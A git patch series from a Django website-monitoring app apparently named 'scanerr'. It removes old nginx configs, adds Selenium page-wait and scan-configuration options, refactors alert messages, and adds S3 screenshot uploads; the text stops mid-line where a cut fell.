index 8e5916e0..00000000 --- a/nginx_old/Dockerfile +++ /dev/null @@ -1,4 +0,0 @@ -FROM nginx:1.19.0-alpine - -RUN rm /etc/nginx/conf.d/default.conf -COPY nginx.conf /etc/nginx/conf.d \ No newline at end of file diff --git a/nginx_old/custom.conf b/nginx_old/custom.conf deleted file mode 100644 index ebabe511..00000000 --- a/nginx_old/custom.conf +++ /dev/null @@ -1,27 +0,0 @@ -upstream scanerr { - server app:8000; -} - -server { - - listen 80; - - location / { - proxy_pass http://scanerr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_redirect off; - proxy_read_timeout 400s; - proxy_connect_timeout 100s; - } - - location /static/ { - alias /app/static/; - } - - client_body_timeout 100s; - uwsgi_read_timeout 500s; - keepalive_timeout 300s; - -} - diff --git a/nginx_old/docker-compose.prod_old.yml b/nginx_old/docker-compose.prod_old.yml deleted file mode 100644 index fb41781e..00000000 --- a/nginx_old/docker-compose.prod_old.yml +++ /dev/null @@ -1,61 +0,0 @@ -version: '3' - -services: - app: - build: - context: . - dockerfile: Dockerfile.prod - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" - expose: - - 8000 - env_file: - - ./env/.env.prod - depends_on: - - db - - db: - image: postgres:10-alpine - env_file: - - ./env/.env.prod - volumes: - - pgdata:/var/lib/postgresql/data - - redis: - image: redis:alpine - - celery: - restart: always - build: - context: . - command: celery -A scanerr worker --beat --scheduler django --loglevel=info - volumes: - - ./app:/scanerr - env_file: - - ./env/.env.prod - depends_on: - - db - - redis - - app - - nginx: - build: ./nginx - ports: - - 80:8000 - depends_on: - - app - volumes: - - static_volume:/app/static - -volumes: - pgdata: - static_volume: \ No newline at end of file diff --git a/nginx_old/nginx.conf b/nginx_old/nginx.conf deleted file mode 100644 index ebabe511..00000000 --- a/nginx_old/nginx.conf +++ /dev/null @@ -1,27 +0,0 @@ -upstream scanerr { - server app:8000; -} - -server { - - listen 80; - - location / { - proxy_pass http://scanerr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_redirect off; - proxy_read_timeout 400s; - proxy_connect_timeout 100s; - } - - location /static/ { - alias /app/static/; - } - - client_body_timeout 100s; - uwsgi_read_timeout 500s; - keepalive_timeout 300s; - -} - diff --git a/nginx_old/vhost.d/default b/nginx_old/vhost.d/default deleted file mode 100644 index c498447b..00000000 --- a/nginx_old/vhost.d/default +++ /dev/null @@ -1,9 +0,0 @@ - -location /static/ { - alias /app/static/; - add_header Access-Control-Allow-Origin *; -} - - - - diff --git a/requirements.txt b/requirements.txt index f240e00a..fb77d2ed 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ amqp==5.0.6 asgiref==3.3.4 billiard==3.6.4.0 +boto3==1.20.32 celery==5.1.0 certifi==2021.5.30 chardet==4.0.0 @@ -12,19 +13,21 @@ Django==3.2.3 django-celery-beat==2.2.0 django-filter==2.4.0 djangorestframework==3.12.4 +django-storages==1.12.3 docker==5.0.0 gunicorn==20.1.0 humanize==3.7.0 idna==2.10 kombu==5.1.0 Markdown==3.3.4 +Pillow==9.0.0 prometheus-client==0.8.0 prompt-toolkit==3.0.18 psycopg2==2.8.6 pytz==2021.1 redis==3.5.3 requests==2.25.1 -selenium==3.141.0 +selenium==4.1.0 six==1.16.0 sqlparse==0.4.1 tornado==6.1 From 3c718de4ceb23640dee715a09012dab882135ede Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 28 Jan 2022 09:35:52 -0600 Subject: [PATCH 002/277] added new method for WP loading issues --- app/api/utils/driver.py | 20 ++++++++++++++++++-- app/api/utils/image.py | 7 ++++++- 2 files changed, 24 insertions(+), 3 deletions(-) diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py index e5031723..0d916d1d 100644 --- a/app/api/utils/driver.py +++ b/app/api/utils/driver.py @@ -1,5 +1,6 @@ from selenium import webdriver from selenium.webdriver.common.desired_capabilities import DesiredCapabilities +from selenium.webdriver import ActionChains import time, os, numpy, json @@ -41,10 +42,12 @@ def driver_init(): -def driver_wait(driver, interval=5, max_wait_time=30): +def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): """ Pauses the driver until all network requests have been resolved + --> Adding mouse interaction to load WP plugin rendered content + returns once driver determines that all request have resolved or total wait time exceeds max_wait_time @@ -67,8 +70,21 @@ def get_request_list(driver): return r_list + def interact_with_page(driver): + # simulate mouse movement and click on tag + body_tag = driver.find_elements_by_tag_name('body')[0] + action = ActionChains(driver) + action.move_to_element(body_tag).click().perform() + return + + resolved = False wait_time = 0 + + # actions before comparing network logs + interact_with_page(driver) + time.sleep(min_wait_time) + while not resolved and wait_time < max_wait_time: # get first set of logs list_one = get_request_list(driver=driver) @@ -82,6 +98,6 @@ def get_request_list(driver): # check if logs are equal resolved = numpy.array_equal(list_one, list_two) - wait_time += 5 + wait_time += interval return \ No newline at end of file diff --git a/app/api/utils/image.py b/app/api/utils/image.py index de1b98aa..0d6aa15a 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -74,7 +74,12 @@ def scan(self, site, driver=None): pic_id = uuid.uuid4() # waiting for network requests to resolve - driver_wait(driver=driver, interval=5, max_wait_time=30) + driver_wait( + driver=driver, + interval=5, + max_wait_time=60, + min_wait_time=10 + ) # get screenshot driver.save_screenshot(f'{pic_id}.png') From cbe2d5f3ac99eec70fe921c5e37313e45645e51b Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 3 Feb 2022 18:04:21 -0600 Subject: [PATCH 003/277] removed un-used db dependencies --- docker-compose.prod.yml | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 6f6f63a5..599cdc1c 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -20,15 +20,6 @@ services: - 8000 env_file: - ./env/.env.prod - # depends_on: - # - db - - # db: - # image: postgres:10-alpine - # env_file: - # - ./env/.env.prod - # volumes: - # - pgdata:/var/lib/postgresql/data redis: image: redis:alpine @@ -43,7 +34,6 @@ services: env_file: - ./env/.env.prod depends_on: - # - db - redis - app @@ -78,7 +68,6 @@ services: volumes: - # pgdata: static_volume: certs: html: From ab724d82c12eb8af56c0dec1d9adc3f55e9d3b32 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 3 Feb 2022 18:04:39 -0600 Subject: [PATCH 004/277] cleaned up migrations --- .gitignore | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 447f81c0..78cff447 100644 --- a/.gitignore +++ b/.gitignore @@ -14,5 +14,4 @@ env/.env.staging env/.env.dev env/.env.prod env/.env.prod.db -app/api/migrations/0001_initial.py -app/api/migrations/0002_auto_20220112_2212.py + From ea75882bb97812a816a571075bcfd54736e22045 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 3 Feb 2022 18:05:09 -0600 Subject: [PATCH 005/277] added configs management --- app/api/models.py | 45 +++++--- app/api/tasks.py | 38 ++++++- app/api/utils/alerts.py | 102 +++++++----------- app/api/utils/automations.py | 23 ++-- app/api/utils/driver.py | 9 +- app/api/utils/image.py | 95 ++++++++++++++-- app/api/utils/lighthouse.py | 2 +- app/api/utils/scanner.py | 70 ++++++++---- app/api/utils/tester.py | 198 +++++++++++++++++++++++----------- app/api/v1/ops/serializers.py | 11 +- app/api/v1/ops/services.py | 175 +++++++++++++++++++++--------- app/api/v1/ops/tasks.py | 53 +++++++-- app/api/v1/ops/urls.py | 1 + app/api/v1/ops/views.py | 23 ++-- 14 files changed, 576 insertions(+), 269 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index 9043eb60..77d5285e 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -38,24 +38,36 @@ def get_info_default(): def get_scores_delta_default(): scores_delta_default = { - "seo_delta": None, - "current_average": None, - "performance_delta": None, - "accessibility_delta": None, - "best_practices_delta": None + "scores": { + "seo_delta": None, + "performance_delta": None, + "accessibility_delta": None, + "best-practices_delta": None, + "average_delta" : None, + "current_average": None, + }, } return scores_delta_default -def get_audits_default(): - audits_default = { - "seo": [], - "performance": [], - "accessibility": [], - "best-practices": [] +def get_lh_default(): + lh_default = { + "scores": { + "seo": None, + "performance": None, + "accessibility": None, + "best_practices": None, + "average": None, + }, + "audits": { + "seo": [], + "performance": [], + "accessibility": [], + "best-practices": [] + }, } - return audits_default + return lh_default @@ -124,8 +136,8 @@ class Scan(models.Model): html = models.TextField(serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) images = models.JSONField(serialize=True, null=True, blank=True) - scores = models.JSONField(serialize=True, null=True, blank=True) - audits = models.JSONField(serialize=True, null=True, blank=True, default=get_audits_default) + lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) + configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return f'{self.site.site_url}__scan' @@ -137,13 +149,13 @@ class Test(models.Model): site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # (1) html (2) error_logs TODO decide on this attr + type = models.JSONField(serialize=True, null=True, blank=True) pre_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='pre_scan') post_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) - scores_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_delta_default) + lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_delta_default) images_delta = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): @@ -202,6 +214,7 @@ class Schedule(models.Model): crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True) + extras = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return f'{self.site.site_url}__{self.task_type}' diff --git a/app/api/tasks.py b/app/api/tasks.py index f86d0799..d41b0258 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -16,17 +16,45 @@ def create_site_bg(site_id): logger.info('Created scan of new site') + @shared_task -def create_scan_bg(site_id, automation_id=None): - create_scan_task(site_id, automation_id) +def create_scan_bg( + site_id, + automation_id=None, + configs=None, + ): + create_scan_task( + site_id, + automation_id, + configs, + ) logger.info('Created new scan of site') + @shared_task -def create_test_bg(site_id, automation_id=None): - create_test_task(site_id, automation_id) +def create_test_bg( + site_id, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + ): + create_test_task( + site_id, + automation_id, + configs, + type, + index, + pre_scan, + post_scan + ) logger.info('Created new test of site') - + + + @shared_task def delete_site_s3_bg(site_id): diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index 2d6288f9..6a789b42 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -6,7 +6,7 @@ from django.utils.html import strip_tags from django.contrib.auth.models import User from rest_framework.response import Response -from ..models import (Schedule, Automation, Test, Scan, Site, Account) +from ..models import * from twilio.rest import Client from slack_sdk.web import WebClient from slack_sdk.errors import SlackApiError @@ -15,6 +15,36 @@ +def create_exp_str(item, automation): + + exp_list = [] + for e in automation.expressions: + if 'test_score' in e['data_type']: + data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' + elif 'current_average' in e['data_type']: + data_type = 'Health:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' + elif 'seo_delta' in e['data_type']: + data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' + elif 'best_practices_delta' in e['data_type']: + data_type = 'Best Practicies Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' + elif 'performance_delta' in e['data_type']: + data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' + elif 'images_score' in e['data_type']: + data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' + elif 'logs' in e['data_type']: + data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' + elif 'health' in e['data_type']: + data_type = 'Health:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + exp_list.append(data_type) + + exp_str = ('\t'+''.join(exp_list)) + return exp_str + + + + + + def automation_email(email=None, automation_id=None, scan_or_test_id=None): if email and automation_id: automation = Automation.objects.get(id=automation_id) @@ -31,25 +61,7 @@ def automation_email(email=None, automation_id=None, scan_or_test_id=None): except: return {'success': False} - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ('\t'+''.join(exp_list)) + exp_str = create_exp_str(item=item, automation=automation) object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) subject = f'Alert for {site.site_url}' @@ -134,17 +146,17 @@ def automation_webhook( if 'test_score' == json_data[key]: json_data[key] = item.score elif 'current_average' == json_data[key]: - json_data[key] = item.scores_delta["current_average"] + json_data[key] = item.lighthouse_delta["scores"]["current_average"] elif 'seo_delta' == json_data[key]: - json_data[key] = item.scores_delta["seo_delta"] + json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] elif 'best_practices_delta' == json_data[key]: - json_data[key] = item.scores_delta["best_practices_delta"] + json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] elif 'performance_delta' == json_data[key]: - json_data[key] = item.scores_delta["performance_delta"] + json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] elif 'logs' == json_data[key]: json_data[key] = len(item.logs) elif 'health' == json_data[key]: - json_data[key] = item.scores["average"] + json_data[key] = item.lighthouse["scores"]["average"] get_list.append(f'{key}={json_data[key]}&') @@ -190,25 +202,7 @@ def automation_phone(phone_number=None, automation_id=None, scan_or_test_id=None except: return {'success': False} - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = '# Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ''.join(exp_list) + exp_str = create_exp_str(item=item, automation=automation) object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) pre_content = ( @@ -263,25 +257,7 @@ def automation_slack(automation_id=None, scan_or_test_id=None): except: return {'success': False} - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 'logs' in e['data_type']: - data_type = '# Error Logs:\t'+str(len(item.logs))+'\n\t' - elif 'health' in e['data_type']: - data_type = 'Health:\t'+str(item.scores["average"])+'\n\t' - exp_list.append(data_type) - - exp_str = ''.join(exp_list) + exp_str = create_exp_str(item=item, automation=automation) object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) pre_content = ( diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py index 6ab60fde..ab5c39dd 100644 --- a/app/api/utils/automations.py +++ b/app/api/utils/automations.py @@ -1,15 +1,9 @@ -from ..models import ( - Automation, Test, Scan, Site, User, - ) -from .alerts import ( - automation_email, automation_webhook, - automation_phone, automation_slack, - ) +from ..models import * +from .alerts import * import re, uuid - def automation(automation_id, scan_or_test_id): automation = Automation.objects.get(id=automation_id) expressions = automation.expressions @@ -42,17 +36,20 @@ def automation(automation_id, scan_or_test_id): if 'test_score' in expression['data_type']: data_type = 'float(test.score)' elif 'current_average' in expression['data_type']: - data_type = 'float(test.scores_delta["current_average"])' + data_type = 'float(test.lighthouse_delta["current_average"])' elif 'seo_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["seo_delta"])' + data_type = 'float(test.lighthouse_delta["seo_delta"])' elif 'best_practices_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["best_practices_delta"])' + data_type = 'float(test.lighthouse_delta["best_practices_delta"])' elif 'performance_delta' in expression['data_type']: - data_type = 'float(test.scores_delta["performance_delta"])' + data_type = 'float(test.lighthouse_delta["performance_delta"])' + elif 'images_score' in expression['data_type']: + data_type = 'float(test.images_delta["average_score"])' elif 'logs' in expression['data_type']: data_type = 'len(scan.logs)' elif 'health' in expression['data_type']: - data_type = 'float(scan.scores["average"])' + data_type = 'float(scan.lighthouse["scores"]["average"])' + value = str(float(re.search(r'\d+', str(expression['value'])).group())) exp = f'{joiner}{data_type}{operator}{value}' diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py index 0d916d1d..563d2cb7 100644 --- a/app/api/utils/driver.py +++ b/app/api/utils/driver.py @@ -5,7 +5,7 @@ -def driver_init(): +def driver_init(window_size='1920,1080'): prefs = { 'download.prompt_for_download': False, @@ -13,7 +13,6 @@ def driver_init(): 'safebrowsing.enabled': True } chrome_path = os.environ.get("CHROMEDRIVER") - WINDOW_SIZE = "1920,1080" options = webdriver.ChromeOptions() options.add_experimental_option('prefs',prefs) options.add_argument("start-maximized") @@ -22,7 +21,7 @@ def driver_init(): options.add_argument("--no-sandbox") options.add_argument("--disable-dev-shm-usage") options.add_argument("--disable-extensions") - options.add_argument("--window-size=%s" % WINDOW_SIZE) + options.add_argument("--window-size=%s" % window_size) options.add_argument("--safebrowsing-disable-download-protection") options.add_argument("safebrowsing-disable-extension-blacklist") options.add_argument("--disable-gpu") @@ -72,9 +71,9 @@ def get_request_list(driver): def interact_with_page(driver): # simulate mouse movement and click on tag - body_tag = driver.find_elements_by_tag_name('body')[0] + html_tag = driver.find_elements_by_tag_name('html')[0] action = ActionChains(driver) - action.move_to_element(body_tag).click().perform() + action.move_to_element(html_tag).perform() return diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 0d6aa15a..0397eb59 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -27,11 +27,15 @@ def test(test=) -> compares each screenshot in the two scans and records a score out of 100% + + def screeshot(site, driver=None) -> grabs single + screenshot of the site and uploads it to s3 + """ - def scan(self, site, driver=None): + def scan(self, site, configs, driver=None,): """ Grabs multiple screenshots of the website and uploads them to s3. @@ -76,9 +80,9 @@ def scan(self, site, driver=None): # waiting for network requests to resolve driver_wait( driver=driver, - interval=5, - max_wait_time=60, - min_wait_time=10 + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), ) # get screenshot @@ -122,7 +126,7 @@ def scan(self, site, driver=None): - def test(self, test): + def test(self, test, index=None): """ compares each screenshot between the two scans and records a score out of 100%. @@ -144,10 +148,16 @@ def test(self, test): temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.site.id}') # loop through and download each img in scan and compare it. + pre_scan_images = test.pre_scan.images img_test_results = [] scores = [] i = 0 - for pre_img_obj in test.pre_scan.images: + + if index is not None: + pre_scan_images = [test.pre_scan.images[index]] + i = index + + for pre_img_obj in pre_scan_images: # getting pre_scan image pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') @@ -204,8 +214,79 @@ def test(self, test): # averaging scores and storing in images_delta obj avg_score = statistics.fmean(scores) images_delta = { - "average_diff": avg_score, + "average_score": avg_score, "images": img_test_results, } return images_delta + + + + + + + + def screenshot(self, site, configs=None, driver=None,): + """ + Grabs single screenshot of the website and uploads + it to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + if not configs: + configs = { + "interval": 5, + "window_size": "1920,1080", + "max_wait_time": 60, + "min_wait_time": 10 + } + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init(configs['interval']) + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # wait for site to fully load + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # grab screenshot + pic_id = uuid.uuid4() + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + return img_obj \ No newline at end of file diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index b000457c..ec47f3f4 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -96,7 +96,7 @@ def get_data(self): "seo": [], "accessibility": [], "performance": [], - "best_practices": [], + "best-practices": [], } data = { diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 920e7413..8814eac9 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -10,20 +10,40 @@ class Scanner(): - def __init__(self, site=None, scan=None): + def __init__( + self, + site=None, + scan=None, + configs=None, + ): + if site == None and scan != None: site = scan.site + if configs is None: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 60, + } self.site = site - self.driver = driver_init() + self.driver = driver_init(window_size=configs['window_size']) self.scan = scan + self.configs = configs + def first_scan(self): + """ + Method to run a scan independently of an existing `scan` obj. + + returns -> `Scan` + """ self.driver.get(self.site.site_url) time.sleep(5) html = self.driver.page_source logs = self.driver.get_log('browser') - images = Image().scan(site=self.site, driver=self.driver) + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) self.driver.quit() lh_data = Lighthouse(self.site).get_data() @@ -32,39 +52,51 @@ def first_scan(self): self.scan.html = html self.scan.logs = logs self.scan.images = images - self.scan.scores = lh_data["scores"] - self.scan.audits = lh_data["audits"] + self.scan.lighthouse = lh_data + self.scan.configs = self.configs self.scan.save() first_scan = self.scan else: first_scan = Scan.objects.create( site=self.site, html=html, - logs=logs, scores=lh_data["scores"], - audits=lh_data["audits"], images=images + logs=logs, lighthouse=lh_data, + images=images, configs=self.configs ) - self.update_site_info(first_scan) + self.update_site_info(first_scan) return first_scan + + + def second_scan(self): - first_scan = Scan.objects.filter( - site=self.site - ).order_by('-time_created').first() + """ + Method to run a scan and attach existing `scan` obj to it. + + returns -> `Scan` + """ + if not self.scan: + first_scan = Scan.objects.filter( + site=self.site + ).order_by('-time_created').first() + + else: + first_scan = self.scan self.driver.get(self.site.site_url) time.sleep(5) html = self.driver.page_source logs = self.driver.get_log('browser') - images = Image().scan(site=self.site, driver=self.driver) + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) self.driver.quit() lh_data = Lighthouse(self.site).get_data() second_scan = Scan.objects.create( site=self.site, paired_scan=first_scan, - html=html, logs=logs, scores=lh_data['scores'], - audits=lh_data['audits'], images=images + html=html, logs=logs, lighthouse=lh_data, + images=images, configs=self.configs ) second_scan.save() @@ -78,22 +110,22 @@ def second_scan(self): def update_site_info(self, scan): - if scan.scores['average'] == None: + if scan.lighthouse['scores']['average'] == None: health = 'No Data' badge = 'neutral' - elif float(scan.scores['average']) >= 75: + elif float(scan.lighthouse['scores']['average']) >= 75: health = 'Good' badge = 'success' - elif 75 > float(scan.scores['average']) >= 60: + elif 75 > float(scan.lighthouse['scores']['average']) >= 60: health = 'Okay' badge = 'warning' - elif 60 > float(scan.scores['average']): + elif 60 > float(scan.lighthouse['scores']['average']): health = 'Poor' badge = 'danger' self.site.info['latest_scan']['id'] = str(scan.id) self.site.info['latest_scan']['time_created'] = str(scan.time_created) - self.site.info['lighthouse'] = scan.scores + self.site.info['lighthouse'] = scan.lighthouse['scores'] self.site.info['status']['health'] = str(health) self.site.info['status']['badge'] = str(badge) diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index 481dfdbb..d5b11fdb 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -238,16 +238,16 @@ def delta_logs(self): - def delta_scores(self): + def delta_lighthouse(self): try: - pre_seo = int(self.test.pre_scan.scores['seo']) - pre_accessibility = int(self.test.pre_scan.scores['accessibility']) - pre_performance = int(self.test.pre_scan.scores['performance']) - pre_best_practices = int(self.test.pre_scan.scores['best_practices']) - post_seo = int(self.test.post_scan.scores['seo']) - post_accessibility = int(self.test.post_scan.scores['accessibility']) - post_performance = int(self.test.post_scan.scores['performance']) - post_best_practices = int(self.test.post_scan.scores['best_practices']) + pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo']) + pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility']) + pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance']) + pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices']) + post_seo = int(self.test.post_scan.lighthouse["scores"]['seo']) + post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility']) + post_performance = int(self.test.post_scan.lighthouse["scores"]['performance']) + post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices']) seo_delta = post_seo - pre_seo accessibility_delta = post_accessibility - pre_accessibility @@ -255,28 +255,33 @@ def delta_scores(self): best_practices_delta = post_best_practices - pre_best_practices current_average = (post_seo + post_accessibility + post_best_practices + post_performance)/4 old_average = (pre_seo + pre_accessibility + pre_best_practices + pre_performance)/4 - average_diff = current_average - old_average + average_delta = current_average - old_average except: seo_delta = None accessibility_delta = None performance_delta = None best_practices_delta = None current_average = None - average_diff = None + average_delta = None data = { - "seo_delta": seo_delta, - "accessibility_delta": accessibility_delta, - "performance_delta": performance_delta, - "best_practices_delta": best_practices_delta, - "current_average": current_average, - "average_diff": average_diff, + "scores": { + "seo_delta": seo_delta, + "accessibility_delta": accessibility_delta, + "performance_delta": performance_delta, + "best_practices_delta": best_practices_delta, + "current_average": current_average, + "average_delta": average_delta, + } } return data + + + def update_site_info(self, test): site = test.site site.info['latest_test']['id'] = str(test.id) @@ -289,39 +294,111 @@ def update_site_info(self, test): - def run_full_test(self): - html_score = self.compare_html() - logs_score = self.compare_logs() - delta_html_data = self.delta_html() - delta_logs_data = self.delta_logs() - delta_scores_data = self.delta_scores() - images_data = Image().test(test=self.test) - num_html_ratio = delta_html_data['num_html_ratio'] - num_logs_ratio = delta_logs_data['num_logs_ratio'] - delta_scores_avg_diff = delta_scores_data['average_diff'] - if delta_scores_avg_diff != None: - delta_scores = (100 + delta_scores_avg_diff)/100 - else: - delta_scores = 0 - micro_diff_score = self.html_micro_diff_score( - delta_html_data['post_micro_delta']['delta_parsed_diff'] - ) - html_score_w = 1 - logs_score_w = .5 - num_logs_w = 2 - num_html_w = 1 - micro_diff_w = 2 + + + + + + def run_test(self, index=None): + + # default scores + html_score = 0 + num_html_ratio = 0 + micro_diff_score = 0 + logs_score = 0 + num_logs_ratio = 0 + lighthouse_score = 0 + images_score = 0 + + # default weights + html_score_w = 0 + num_html_w = 0 + micro_diff_w = 0 + logs_score_w = 0 + num_logs_w = 0 + delta_lh_w = 0 + images_w = 0 + + # default data + html_delta_context = None + logs_delta_context = None + lighthouse_data = None + images_data = None + + + + if 'html' in self.test.type or 'full' in self.test.type: + # scores + html_score = self.compare_html() + delta_html_data 